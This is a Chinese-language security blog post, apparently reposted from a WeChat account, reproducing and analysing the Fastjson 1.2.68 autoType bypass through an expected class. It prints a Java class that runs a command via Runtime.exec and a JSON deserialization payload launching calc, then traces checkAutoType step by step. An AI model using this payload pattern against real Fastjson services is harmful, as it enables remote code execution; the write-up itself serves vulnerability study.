1、漏洞复现
根据网络上的poc复现一下该漏洞;首先创建一个恶意类,该类必须继承或实现期望类,原因见后文。
package test;
import java.lang.AutoCloseable;
import java.io.IOException;
public class TestBean implements AutoCloseable{
private String cmd;
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
public String getTest() {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
return e.getMessage();
}
return null;
}
public void close() throws IOException {
}
}
payload:{"@type":"java.lang.AutoCloseable", "@type":"test.TestBean","cmd":"calc"}
2、漏洞原理
该漏洞的本质是通过期望类绕过autotype开关的限制,反序列化达到远程代码执行的目的。首先找到checkAutoType实现的位置
com/alibaba/fastjson/parser/ParserConfig.java
注意到safemode,safemode在1.2.68版本默认是不开启的,不影响代码执行进程。从代码可以看出若safemode为TRUE,autoType将被完全禁用,无视白名单。
搜索加载类的方法loadclass,一共有四处,首先看到第一处loadclass,这里需要满足的 条件有:
1、不在内部白名单内
2、AutotypeSupport为true或expectClassFlag为true
3、在Hash校验白名单内
第二处loadclass需要满足的条件为在内部白名单内(显然不可能)
第三处loadclass需要满足不在hash校验黑名单,并通过hash白名单的校验,在调试过程中发现acceptHashCodes实际上一直都是空数组。
Hash黑名单
第四处loadclass,需要满足3个条件中的一个就可以了
payload:{"@type":"java.lang.AutoCloseable", "@type":"test.TestBean","cmd":"calc"}
传入第一个type,typeName为
java.lang.AutoCloseable
首先expectClass为null,expectClassFlag为false
从缓存中取出AutoCloseable类
由于clazz不为空,expectClass为空,直接返回clazz
⾄此,第⼀次checkAutoType检查结束。将传入的clazz进行反序列化,并返回反序列化后的对象。这里使用到的反序列化器为JavaBeanDeserializer,跟进JavaBeanDeserializer。
JSON.DEFAULT_TYPE_KEY为type,赋值给key为“@type”。
到这里期望类变成了java.lang.AutoCloseable,typeName变成了我们的恶意类test.TestBean
进行第二次的checkautotype,由于期望类不为null,因此expectClassFlag为true
再重复一遍之前的过程,一路F8,第四处loadclass满足条件
判断clazz是否为期望类的继承或实现类,加入缓存,并返回clazz
返回对象clazz给userType,构造反序列化器deserializer,调用方法deserialze并返回一个对象typedObject
至此反序列化结束,漏洞利⽤完结
参考链接:
https://github.com/iSafeBlue/fastjson-autotype-bypass-demo
原文始发于微信公众号(我不懂安全):Fastjson 1.2.68漏洞复现及分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论